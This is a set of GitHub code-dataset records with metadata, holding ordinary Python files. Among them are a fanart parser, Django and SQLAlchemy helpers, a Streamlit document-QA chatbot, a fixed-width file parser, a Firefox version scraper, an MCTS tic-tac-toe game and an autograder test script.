parse_art(art_get('moviethumb'), language),\n\t\t\t\t\t\t'discart': parse_art(art_get('moviedisc'), language),\n\t\t\t\t\t\t'keyart': parse_art(art_get('movieposter'), language),\n\t\t\t\t\t\t'fanart_added': True}\n\telse:\n\t\tfanart_data = {'poster2': parse_art(art_get('tvposter'), language),\n\t\t\t\t\t\t'fanart2': parse_art(art_get('showbackground'), language),\n\t\t\t\t\t\t'banner': parse_art(art_get('tvbanner'), language),\n\t\t\t\t\t\t'clearart': parse_art(art_get('clearart', []) + art_get('hdclearart', []), language),\n\t\t\t\t\t\t'clearlogo': parse_art(art_get('hdtvlogo', []) + art_get('clearlogo', []), language),\n\t\t\t\t\t\t'landscape': parse_art(art_get('tvthumb'), language),\n\t\t\t\t\t\t'discart': '',\n\t\t\t\t\t\t'keyart':'',\n\t\t\t\t\t\t'fanart_added': True}\n\treturn fanart_data\n\ndef parse_art(art, language):\n\tif art is None: return ''\n\ttry:\n\t\tresult = [(x['url'], x['likes']) for x in art if x.get('lang') == language]\n\t\tif not result and language != 'en': result = [(x['url'], x['likes']) for x in art if x.get('lang') == 'en']\n\t\tif not result: result = [(x['url'], x['likes']) for x in art if any(value == x.get('lang') for value in ('00', ''))]\n\t\tif result:\n\t\t\tresult.sort(key=lambda x: int(x[1]), reverse=True)\n\t\t\tresult = [x[0] for x in result][0]\n\texcept: result = ''\n\tif not 'http' in result: result = ''\n\treturn result\n\ndef add(media_type, language, media_id, client_key, meta):\n\tif not media_id: meta.update(default_fanart_meta)\n\telse:\n\t\ttry: meta.update(get(media_type, language, media_id, client_key))\n\t\texcept: meta.update(default_fanart_meta)\n\treturn meta\n", "repo_name": "abittencookie/abittencookie.github.io", "sub_path": "repo/plugin.video.ezra/resources/lib/metadata/fanarttv.py", "file_name": "fanarttv.py", "file_ext": "py", "file_size_in_byte": 2975, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "modules.requests_utils.make_session", "line_number": 10, "usage_type": "call"}]}
{"seq_id": "24046412435", "text": "from sqlalchemy import Column, DateTime, String, Integer, ForeignKey, func\nfrom sqlalchemy.orm import relationship, backref\nfrom sqlalchemy.ext.declarative import declarative_base\n \n \nBase = declarative_base()\n \n \nclass UserApartment(Base):\n    __tablename__ = 'user_apartments'\n    id = Column(Integer, primary_key=True)\n    user_id = Column(Integer)\n    user_name = Column(String)\n    apartment = Column(Integer)", "repo_name": "nenodias/telegram-door-bot", "sub_path": "models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 414, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sqlalchemy.ext.declarative.declarative_base", "line_number": 6, "usage_type": "call"}, {"api_name": "sqlalchemy.Column", "line_number": 11, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 11, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 12, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 12, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 13, "usage_type": "call"}, {"api_name": "sqlalchemy.String", "line_number": 13, "usage_type": "argument"}, {"api_name": "sqlalchemy.Column", "line_number": 14, "usage_type": "call"}, {"api_name": "sqlalchemy.Integer", "line_number": 14, "usage_type": "argument"}]}
{"seq_id": "2785521480", "text": "\"\"\"\nThis module contains utility functions that are used by multiple applications.\n\"\"\"\n\nfrom django.shortcuts import render as django_render\nfrom django.views.generic.base import TemplateView\n\nfrom event.models import Event\nfrom main.models import Settings, HousePoints, Link\n\n\nclass MyTemplateView(TemplateView):\n\n    additional = {}\n\n    def get(self, request, *args, **kwargs):\n        context = {'user': self.request.user, 'next': self.request.path,  'events': Event.objects.filter(dropdown=True , term=Settings.objects.term()),\n                   'houses': HousePoints.current.all(), 'eligibility_list': Settings.objects.get_eligibility_list().url}\n        context.update(self.additional)\n        candidatePacketURLs = Link.objects.filter(name='candidate_packet_url')\n        if len(candidatePacketURLs):\n            context['candidatePacketURL'] = candidatePacketURLs[0].url\n        orientationPresentations = Link.objects.filter(name='orientation_presentation')\n        if len(orientationPresentations):\n            context['orientationPresentationURL'] = orientationPresentations[0].url\n        return self.render_to_response(context)\n\n\ndef render(request, template_name, additional=None):\n    dictionary = {'user': request.user, 'next': request.path, 'events': Event.objects.filter(dropdown=True, term = Settings.objects.term()),\n                  'houses': HousePoints.current.all(), 'eligibility_list': Settings.objects.get_eligibility_list().url}\n    if additional is not None:\n        dictionary.update(additional)\n\n    candidatePacketURLs = Link.objects.filter(name='candidate_packet_url')\n    if len(candidatePacketURLs):\n        dictionary['candidatePacketURL'] = candidatePacketURLs[0].url\n    orientationPresentations = Link.objects.filter(name='orientation_presentation')\n    if len(orientationPresentations):\n        dictionary['orientationPresentationURL'] = orientationPresentations[0].url\n    return django_render(request, template_name, dictionary)\n", "repo_name": "UCLA-TBP/tbpsite", "sub_path": "backend/common.py", "file_name": "common.py", "file_ext": "py", "file_size_in_byte": 1973, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.views.generic.base.TemplateView", "line_number": 12, "usage_type": "name"}, {"api_name": "event.models.Event.objects.filter", "line_number": 17, "usage_type": "call"}, {"api_name": "event.models.Event.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "event.models.Event", "line_number": 17, "usage_type": "name"}, {"api_name": "main.models.Settings.objects.term", "line_number": 17, "usage_type": "call"}, {"api_name": "main.models.Settings.objects", "line_number": 17, "usage_type": "attribute"}, {"api_name": "main.models.Settings", "line_number": 17, "usage_type": "name"}, {"api_name": "main.models.HousePoints.current.all", "line_number": 18, "usage_type": "call"}, {"api_name": "main.models.HousePoints.current", "line_number": 18, "usage_type": "attribute"}, {"api_name": "main.models.HousePoints", "line_number": 18, "usage_type": "name"}, {"api_name": "main.models.Settings.objects.get_eligibility_list", "line_number": 18, "usage_type": "call"}, {"api_name": "main.models.Settings.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "main.models.Settings", "line_number": 18, "usage_type": "name"}, {"api_name": "main.models.Link.objects.filter", "line_number": 20, "usage_type": "call"}, {"api_name": "main.models.Link.objects", "line_number": 20, "usage_type": "attribute"}, {"api_name": "main.models.Link", "line_number": 20, "usage_type": "name"}, {"api_name": "main.models.Link.objects.filter", "line_number": 23, "usage_type": "call"}, {"api_name": "main.models.Link.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "main.models.Link", "line_number": 23, "usage_type": "name"}, {"api_name": "event.models.Event.objects.filter", "line_number": 30, "usage_type": "call"}, {"api_name": "event.models.Event.objects", "line_number": 30, "usage_type": "attribute"}, {"api_name": "event.models.Event", "line_number": 30, "usage_type": "name"}, {"api_name": "main.models.Settings.objects.term", "line_number": 30, "usage_type": "call"}, {"api_name": "main.models.Settings.objects", "line_number": 30, "usage_type": "attribute"}, {"api_name": "main.models.Settings", "line_number": 30, "usage_type": "name"}, {"api_name": "main.models.HousePoints.current.all", "line_number": 31, "usage_type": "call"}, {"api_name": "main.models.HousePoints.current", "line_number": 31, "usage_type": "attribute"}, {"api_name": "main.models.HousePoints", "line_number": 31, "usage_type": "name"}, {"api_name": "main.models.Settings.objects.get_eligibility_list", "line_number": 31, "usage_type": "call"}, {"api_name": "main.models.Settings.objects", "line_number": 31, "usage_type": "attribute"}, {"api_name": "main.models.Settings", "line_number": 31, "usage_type": "name"}, {"api_name": "main.models.Link.objects.filter", "line_number": 35, "usage_type": "call"}, {"api_name": "main.models.Link.objects", "line_number": 35, "usage_type": "attribute"}, {"api_name": "main.models.Link", "line_number": 35, "usage_type": "name"}, {"api_name": "main.models.Link.objects.filter", "line_number": 38, "usage_type": "call"}, {"api_name": "main.models.Link.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "main.models.Link", "line_number": 38, "usage_type": "name"}, {"api_name": "django.shortcuts.render", "line_number": 41, "usage_type": "call"}]}
{"seq_id": "34610096319", "text": "import streamlit as st\nimport os\nfrom PyPDF2 import PdfReader\nimport docx\nfrom langchain.chat_models import ChatOpenAI\nfrom langchain.vectorstores import Qdrant\nimport random\nfrom datetime import datetime\nfrom langchain import PromptTemplate\nfrom langchain.chains import RetrievalQA\nimport string\nfrom qdrant_client import QdrantClient\nfrom dotenv import load_dotenv\nfrom langchain.embeddings import HuggingFaceEmbeddings\nfrom langchain.text_splitter import CharacterTextSplitter\nfrom streamlit_chat import message\nfrom langchain.callbacks import get_openai_callback\nfrom langchain.docstore.document import Document\nopenapi_key = st.secrets[\"OPENAI_API_KEY\"]\nqdrant_url = st.secrets[\"QDRANT_URL\"]\nqdrant_api_key = st.secrets[\"QDRANT_API_KEY\"]\nembeddings = HuggingFaceEmbeddings(model_name=\"sentence-transformers/all-mpnet-base-v2\")\n\n# \"with\" notation\ndef main():\n    load_dotenv()\n    st.set_page_config(page_title=\"Q/A with your file\")\n    st.header(\"Retrieval QA Chain\")\n\n    if \"conversation\" not in st.session_state:\n        st.session_state.conversation = None\n    if \"chat_history\" not in st.session_state:\n        st.session_state.chat_history = []\n    if \"processComplete\" not in st.session_state:\n        st.session_state.processComplete = None\n\n    with st.sidebar:\n        uploaded_files =  st.file_uploader(\"Upload your file\",type=['pdf'],accept_multiple_files=True)\n        openai_api_key = openapi_key\n        # openai_api_key = st.text_input(\"OpenAI API Key\", key=openapi_key , type=\"password\")\n        process = st.button(\"Process\")\n    if process:\n        if not openai_api_key:\n            st.info(\"Please add your OpenAI API key to continue.\")\n            st.stop()\n\n        text_chunks_list = []\n        for uploaded_file in uploaded_files:\n            file_name = uploaded_file.name\n            file_text = get_files_text(uploaded_file)\n            # get text chunks\n            text_chunks = get_text_chunks(file_text, file_name )\n            text_chunks_list.extend(text_chunks)\n            # create vetore stores\n        curr_date = str(datetime.now())\n        collection_name = \"\".join(random.choices(string.ascii_letters, k=4)) + curr_date.split('.')[0].replace(':', '-').replace(\" \", 'T')\n        vectorestore = get_vectorstore(text_chunks_list, collection_name)\n        st.write(\"Vectore Store Created...\")\n        # create qa chain\n        num_chunks = 4\n        st.session_state.conversation = get_qa_chain(vectorestore,num_chunks) #for openAI\n\n        st.session_state.processComplete = True\n\n    if  st.session_state.processComplete == True:\n        user_question = st.chat_input(\"Ask Question about your files.\")\n        if user_question:\n            handel_userinput(user_question)\n\n# Function to get the input file and read the text from it.\ndef get_files_text(uploaded_file):\n    text = \"\"\n    split_tup = os.path.splitext(uploaded_file.name)\n    file_extension = split_tup[1]\n    if file_extension == \".pdf\":\n        text += get_pdf_text(uploaded_file)\n    elif file_extension == \".docx\":\n        text += get_docx_text(uploaded_file)\n    else:\n        pass\n    return text\n\n# Function to read PDF Files\ndef get_pdf_text(pdf):\n    pdf_reader = PdfReader(pdf)\n    text = \"\"\n    for page in pdf_reader.pages:\n        text += page.extract_text()\n    return text\n\ndef get_docx_text(file):\n    doc = docx.Document(file)\n    allText = []\n    for docpara in doc.paragraphs:\n        allText.append(docpara.text)\n    text = ' '.join(allText)\n    return text\n\n\n\ndef get_text_chunks(text, filename):\n    # spilit ito chuncks\n    text_splitter = CharacterTextSplitter(\n        separator=\"\\n\",\n        chunk_size=80,\n        chunk_overlap=20,\n        length_function=len\n    )\n    chunks = text_splitter.split_text(text)\n    doc_list = []\n    for chunk in chunks:\n        metadata = {\"source\": filename}\n        doc_string = Document(page_content=chunk, metadata=metadata)\n        doc_list.append(doc_string)\n    return doc_list\n\n\ndef get_vectorstore(text_chunks, COLLECTION_NAME):\n    # Using the hugging face embedding models\n    try:\n        # creating the Vectore Store using Facebook AI Semantic search\n        knowledge_base = Qdrant.from_documents(\n            documents = text_chunks,\n            embedding = embeddings,\n            url=qdrant_url,\n            prefer_grpc=True,\n            api_key=qdrant_api_key,\n            collection_name=COLLECTION_NAME,\n        )\n    except Exception as e:\n        st.write(f\"Error: {e}\")\n    return knowledge_base\n\ndef get_qa_chain(vectorstore,num_chunks):\n    # prompt_template = \"\"\"\n    # You are trained to extract Answer from the given Context and Question. Then, precise the Answer in less than 20 words. If the Answer is not found in the Context, then return \"N/A\", otherwise return the precise Answer.\n    # Context: {context}\n    # Question: {question}\"\"\"\n    # mprompt_url = PromptTemplate(\n    #     template=prompt_template, input_variables=[\"context\", \"question\"], validate_template=False)\n    # chain_type_kwargs = {\"prompt\": mprompt_url}\n\n\n    # qa = RetrievalQA.from_chain_type(llm=ChatOpenAI(model = \"gpt-3.5-turbo\"), chain_type=\"stuff\",\n    #                             retriever=vectorstore.as_retriever(search_type=\"similarity\",\n    #                                                         search_kwargs={\"k\": num_chunks}), chain_type_kwargs=chain_type_kwargs, return_source_documents=True)\n    qa = RetrievalQA.from_chain_type(llm=ChatOpenAI(model = \"gpt-3.5-turbo\"), chain_type=\"stuff\",\n                                retriever=vectorstore.as_retriever(search_type=\"similarity\",\n                                                            search_kwargs={\"k\": num_chunks}),  return_source_documents=True)\n    return qa\n\n\ndef handel_userinput(user_question):\n    with st.spinner('Generating response...'):\n        result = st.session_state.conversation({\"query\": user_question})\n        response = result['result']\n        source = result['source_documents'][0].metadata['source']\n    st.session_state.chat_history.append(user_question)\n    st.session_state.chat_history.append(f\"{response} \\n Source Document: {source}\")\n\n\n    # Layout of input/response containers\n    response_container = st.container()\n\n    with response_container:\n        for i, messages in enumerate(st.session_state.chat_history):\n            if i % 2 == 0:\n                message(messages, is_user=True, key=str(i))\n            else:\n                message(messages, key=str(i))\n\n\nif __name__ == '__main__':\n    main()\n\n\n\n\n\n\n", "repo_name": "NabeelSohail-30/AI-with-Irfan-Malik-Lecture-Codes", "sub_path": "Lecture#32 QA chain chatbot code/Lecture#32 QA chain chatbot code/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 6496, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "streamlit.secrets", "line_number": 19, "usage_type": "attribute"}, {"api_name": "streamlit.secrets", "line_number": 20, "usage_type": "attribute"}, {"api_name": "streamlit.secrets", "line_number": 21, "usage_type": "attribute"}, {"api_name": "langchain.embeddings.HuggingFaceEmbeddings", "line_number": 22, "usage_type": "call"}, {"api_name": "dotenv.load_dotenv", "line_number": 26, "usage_type": "call"}, {"api_name": "streamlit.set_page_config", "line_number": 27, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 28, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 30, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 31, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 32, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 33, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 34, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 35, "usage_type": "attribute"}, {"api_name": "streamlit.sidebar", "line_number": 37, "usage_type": "attribute"}, {"api_name": "streamlit.file_uploader", "line_number": 38, "usage_type": "call"}, {"api_name": "streamlit.button", "line_number": 41, "usage_type": "call"}, {"api_name": "streamlit.info", "line_number": 44, "usage_type": "call"}, {"api_name": "streamlit.stop", "line_number": 45, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 55, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 55, "usage_type": "name"}, {"api_name": "random.choices", "line_number": 56, "usage_type": "call"}, {"api_name": "string.ascii_letters", "line_number": 56, "usage_type": "attribute"}, {"api_name": "streamlit.write", "line_number": 58, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 61, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 63, "usage_type": "attribute"}, {"api_name": "streamlit.session_state", "line_number": 65, "usage_type": "attribute"}, {"api_name": "streamlit.chat_input", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 73, "usage_type": "call"}, {"api_name": "os.path", "line_number": 73, "usage_type": "attribute"}, {"api_name": "PyPDF2.PdfReader", "line_number": 85, "usage_type": "call"}, {"api_name": "docx.Document", "line_number": 92, "usage_type": "call"}, {"api_name": "langchain.text_splitter.CharacterTextSplitter", "line_number": 103, "usage_type": "call"}, {"api_name": "langchain.docstore.document.Document", "line_number": 113, "usage_type": "call"}, {"api_name": "langchain.vectorstores.Qdrant.from_documents", "line_number": 122, "usage_type": "call"}, {"api_name": "langchain.vectorstores.Qdrant", "line_number": 122, "usage_type": "name"}, {"api_name": "streamlit.write", "line_number": 131, "usage_type": "call"}, {"api_name": "langchain.chains.RetrievalQA.from_chain_type", "line_number": 147, "usage_type": "call"}, {"api_name": "langchain.chains.RetrievalQA", "line_number": 147, "usage_type": "name"}, {"api_name": "langchain.chat_models.ChatOpenAI", "line_number": 147, "usage_type": "call"}, {"api_name": "streamlit.spinner", "line_number": 154, "usage_type": "call"}, {"api_name": "streamlit.session_state.conversation", "line_number": 155, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 155, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.chat_history.append", "line_number": 158, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 158, "usage_type": "attribute"}, {"api_name": "streamlit.session_state.chat_history.append", "line_number": 159, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 159, "usage_type": "attribute"}, {"api_name": "streamlit.container", "line_number": 163, "usage_type": "call"}, {"api_name": "streamlit.session_state", "line_number": 166, "usage_type": "attribute"}, {"api_name": "streamlit_chat.message", "line_number": 168, "usage_type": "call"}, {"api_name": "streamlit_chat.message", "line_number": 170, "usage_type": "call"}]}
{"seq_id": "71346681226", "text": "import torch\r\nimport numpy as np\r\nfrom tutils import trans_args, trans_init, dump_yaml, tfilename, save_script\r\nimport argparse\r\nfrom utils.tester_ssl import Tester\r\nfrom models.network_emb_study import UNet_Pretrained\r\n\r\n\r\n\r\ndef dump_labels_from_ssl(logger, config, model):\r\n    tester = Tester(logger, config)\r\n    tester.test(model, dump_label=True)\r\n\r\nif __name__ == '__main__':\r\n    parser = argparse.ArgumentParser()\r\n    parser.add_argument(\"--config\", default=\"configs/ssl/ssl.yaml\")\r\n    parser.add_argument(\"--experiment\", default=\"dump_labels\")\r\n    args = trans_args(parser)\r\n    logger, config = trans_init(args, file=__file__)\r\n\r\n    ckpt = config['training']['ckpt'] = \"/home1/quanquan/code/landmark/code/runs/ssl/ssl/debug2/ckpt/best_model_epoch_890.pth\"\r\n    model = UNet_Pretrained(3, emb_len=config['training']['emb_len'], non_local=config['training']['non_local'])\r\n    state_dict = torch.load(ckpt)\r\n    model.load_state_dict(state_dict)\r\n    model.cuda()\r\n\r\n    dump_labels_from_ssl(logger, config, model)\r\n    dump_yaml(logger, config)", "repo_name": "MIRACLE-Center/SCP_SampleChoicePolicy", "sub_path": "sc/self_train/dump_label_from_ssl.py", "file_name": "dump_label_from_ssl.py", "file_ext": "py", "file_size_in_byte": 1058, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "utils.tester_ssl.Tester", "line_number": 11, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 15, "usage_type": "call"}, {"api_name": "tutils.trans_args", "line_number": 18, "usage_type": "call"}, {"api_name": "tutils.trans_init", "line_number": 19, "usage_type": "call"}, {"api_name": "models.network_emb_study.UNet_Pretrained", "line_number": 22, "usage_type": "call"}, {"api_name": "torch.load", "line_number": 23, "usage_type": "call"}, {"api_name": "tutils.dump_yaml", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "21069973250", "text": "import json\nfrom itertools import accumulate\n\n\nclass FixedWidthSpec:\n    \"\"\"\n    Spec class representing a FixedWidthSpec. Accepts a dictionary with the fixed file metadata specification:\n    {\n       \"ColumnNames\":\"f1, f2, f3, f4, f5, f6, f7, f8, f9, f10\",\n       \"Offsets\":\"3,12,3,2,13,1,10,13,3,13\",\n       \"InputEncoding\":\"windows-1252\",\n       \"IncludeHeader\":\"True\",\n       \"OutputEncoding\":\"utf-8\"\n    }\n    \"\"\"\n    def __init__(self, config: dict):\n        if any([x not in config.keys() for x in\n                (\"ColumnNames\", \"Offsets\", \"InputEncoding\", \"IncludeHeader\", \"OutputEncoding\")]):\n            raise ValueError(\"Wrong spec provided\")\n\n        self.__dict__ = config\n        self.Offsets = [0] + [int(x) for x in self.Offsets.split(',')]\n        self.ColumnNames = self.ColumnNames.split(',')\n        self.ColumnNames = [x.lstrip().rstrip() for x in self.ColumnNames]\n        self.IncludeHeader = True if self.IncludeHeader == 'True' else False\n\n\nclass FixedWidthParser:\n    \"\"\"\n    FixedWidthParser parses a fixed input file and write it to a delimiter file according to a FixedWidthSpec.\n    \"\"\"\n    def __init__(self, spec: FixedWidthSpec, delimiter: str):\n        self.spec = spec\n        self.delimiter = delimiter\n\n    def _parse_line(self, line, idx) -> str:\n        \"\"\"Parse one fixes input line according to a list of offset tuples\"\"\"\n        return [line.rstrip()[l:h] for l, h in idx]\n\n    def _parse_file(self, the_input, the_output, idx: list, spec: FixedWidthSpec) -> None:\n        \"\"\"Parses a file line by line and writes the converted delimited file\"\"\"\n        if spec.IncludeHeader:\n            the_output.write(self.delimiter.join(spec.ColumnNames) + \"\\n\")\n\n        for line in the_input:\n            parsed_line = self._parse_line(line, idx)\n            the_output.write(self.delimiter.join(parsed_line) + \"\\n\")\n\n    def parse(self, input_file, output_file) -> None:\n        \"\"\"Main parse method\"\"\"\n        acum = list(accumulate(self.spec.Offsets))\n        idx = list(zip(acum[:-1], acum[1:]))\n\n        with open(input_file, \"r\", encoding=self.spec.InputEncoding) as the_input, \\\n                open(output_file, 'w', encoding=self.spec.OutputEncoding) as the_output:\n            self._parse_file(the_input, the_output, idx, self.spec)\n\n", "repo_name": "anchavesb/FixedWidthParserKata", "sub_path": "src/parser.py", "file_name": "parser.py", "file_ext": "py", "file_size_in_byte": 2278, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "itertools.accumulate", "line_number": 51, "usage_type": "call"}]}
{"seq_id": "16333192397", "text": "#!/usr/bin/env python\n'''Script to pull latest Firefox version string from Mozilla'''\n\nimport re\n\nfrom bs4 import BeautifulSoup\nimport requests\n\n\ndef is_firefox(items):\n    '''Check if list of li tags refers to Firefox'''\n    for item in items:\n        # One of the list items in the div contains the GUID\n        if re.search('ec8030f7-c20a-464f-9b0e-13a3a9e97384', item.get_text()):\n            return True\n\n    return False\n\n\ndef get_versions(items):\n    '''Get list of version from li tags referring to Firefox'''\n    for item in items:\n        # The list item with the versions starts with \"Versions:\"\n        if re.match('Versions:', item.get_text()):\n            versions_str = item.code.get_text()\n            return [v.strip() for v in versions_str.split(',')]\n\n\ndef main():\n    '''Main logic'''\n    req = requests.get(\n        'https://addons.mozilla.org/en-US/firefox/pages/appversions/')\n    soup = BeautifulSoup(req.content, 'html.parser')\n\n    # Blocks with valid versions are divs of class appversion prose\n    version_sets = [s for s in soup.find_all('div', 'appversion prose')]\n\n    for ver_set in version_sets:\n        items = ver_set('li')\n        if is_firefox(items):\n            version_list = get_versions(items)\n\n    # Versions ordered oldest to newest\n    version_list.reverse()\n    for version in version_list:\n        # Match newest version without prerelease characters in string\n        if re.match(r'^[0-9\\.]+$', version):\n            if int(version.split('.')[0]) < 57:\n                # Get the latest release lest than 57\n                print(version)\n                return\n\n    raise RuntimeError('No version strings found')\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "wshanks/pentadactyl-signed", "sub_path": "max_firefox_version.py", "file_name": "max_firefox_version.py", "file_ext": "py", "file_size_in_byte": 1701, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 155, "dataset": "github-code", "pt": "78", "api": [{"api_name": "re.search", "line_number": 14, "usage_type": "call"}, {"api_name": "re.match", "line_number": 24, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 31, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 33, "usage_type": "call"}, {"api_name": "re.match", "line_number": 47, "usage_type": "call"}]}
{"seq_id": "23016424770", "text": "from games import TicTacToe\nfrom algorithms import MCTS\nimport numpy as np\nimport tqdm\n\n## 10000 searches per move is pretty strong. Vary the quality of\n## decision making by changing number of searches from 10000 to\n## something else. Or, try changing the board size and playing a game.\n\n# Create environment\nenv = TicTacToe(3)\n# Reset\nobs = env.reset()\n# whose turn? True if you want to play first\nhuman_play = True\nplayer = 'x'\nother_player = 'o'\nwhile True:\n\t# Print board and check if game over\n\tenv.print_board()\n\tif env.won('x'):\n\t\tprint('Game over, x wins')\n\t\tbreak\n\tif env.won('o'):\n\t\tprint('Game over, o wins')\n\t\tbreak\n\tif env.draw():\n\t\tprint('Draw')\n\t\tbreak\n\tif human_play:\n\t\t# ask for action\n\t\ti, j = map(int, input('Enter position:').split())\n\t\taction = (i, j)\n\telse:\n\t\t# MCTS\n\t\tmcts = MCTS(env, other_player)\n\t\tprint('Thinking ...')\n\t\tfor traversal_num in tqdm.tqdm(range(10000)): mcts.search(obs)\n\t\t# Ask for best action from obs\n\t\t# Uncertainty constant = 0\n\t\tmcts.reset()\n\t\taction = mcts.best_action(mcts.tree.root, 0)\n\t# step\n\tnext_obs, r, _, _ = env.step(action, player=player if human_play \\\n\t\telse other_player)\n\tobs = next_obs\n\t# next turn\n\thuman_play = not human_play", "repo_name": "ashishgaurav13/rl.code", "sub_path": "w1_mcts.py", "file_name": "w1_mcts.py", "file_ext": "py", "file_size_in_byte": 1190, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "games.TicTacToe", "line_number": 11, "usage_type": "call"}, {"api_name": "algorithms.MCTS", "line_number": 36, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 38, "usage_type": "call"}]}
{"seq_id": "70507988091", "text": "import shutil\r\nimport os\r\nimport webbrowser\r\nfrom catalog.models import *\r\nfrom submission_grader.models import *\r\nimport zipfile\r\n\r\n# CURRENTLY: This is just a test script to see just how we\r\n# can actually find locations of the testcases and stuff.\r\n\r\n\r\n# get test case\r\ntest_case = TestCase.objects.all()[0]\r\ntest_case_location = test_case.get_abs_path()\r\nprint(test_case_location)\r\n\r\n# get submission\r\nsubmission = Submission.objects.all()[0]\r\nsubmission_location = submission.files.path\r\nprint(submission_location)\r\n\r\n# # create new dir\r\nnew_dir_name = \"compiler/\" + str(submission)\r\nif not os.path.isdir(new_dir_name):\r\n\tos.mkdir(new_dir_name)\r\n\r\n# # move to new dir && create gradle locations.\r\nos.chdir(new_dir_name)\r\nos.system(\"gradle init\")\r\n# We need to edit the build file, so that it has the correct dependencies.\r\nwith open('./build.gradle', 'w') as build_file:\r\n\tbuild_file.write(\"apply plugin: 'java'\\n\")\r\n\tbuild_file.write(\"repositories {\\nmavenCentral()\\n}\\n\")\r\n\tbuild_file.write(\"dependencies {\\ntestCompile group: 'junit', name: 'junit', version: '4+'\\n}\")\r\n\r\nos.mkdir(\"src/\")\r\nos.mkdir(\"src/main/\")\r\nos.mkdir(\"src/test/\")\r\nshutil.copy(submission_location, \"./src/main/\")\r\nshutil.copy(test_case_location, \"./src/test/\")\r\n\r\n# Unzip these bad bois\r\nzip_file = zipfile.ZipFile(\"./src/main/\" + submission.file_name(), 'r')\r\nzip_file.extractall('./src/main/')\r\nzip_file = zipfile.ZipFile(\"./src/test/\" + test_case.file_name(), 'r')\r\nzip_file.extractall('./src/test/')\r\nzip_file.close()\r\n\r\n#...let's run this son of a gun.\r\nprint(os.listdir('.'))\r\nos.system(\"gradle build\")\r\nos.chdir(\"/\")\r\nos.system(\"gradle build\")\t\t", "repo_name": "ezair/Autograding-System", "sub_path": "autograder/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1631, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.path.isdir", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 25, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 28, "usage_type": "call"}, {"api_name": "os.system", "line_number": 29, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 36, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 37, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 38, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 39, "usage_type": "call"}, {"api_name": "shutil.copy", "line_number": 40, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 43, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 45, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 50, "usage_type": "call"}, {"api_name": "os.system", "line_number": 51, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 52, "usage_type": "call"}, {"api_name": "os.system", "line_number": 53, "usage_type": "call"}]}
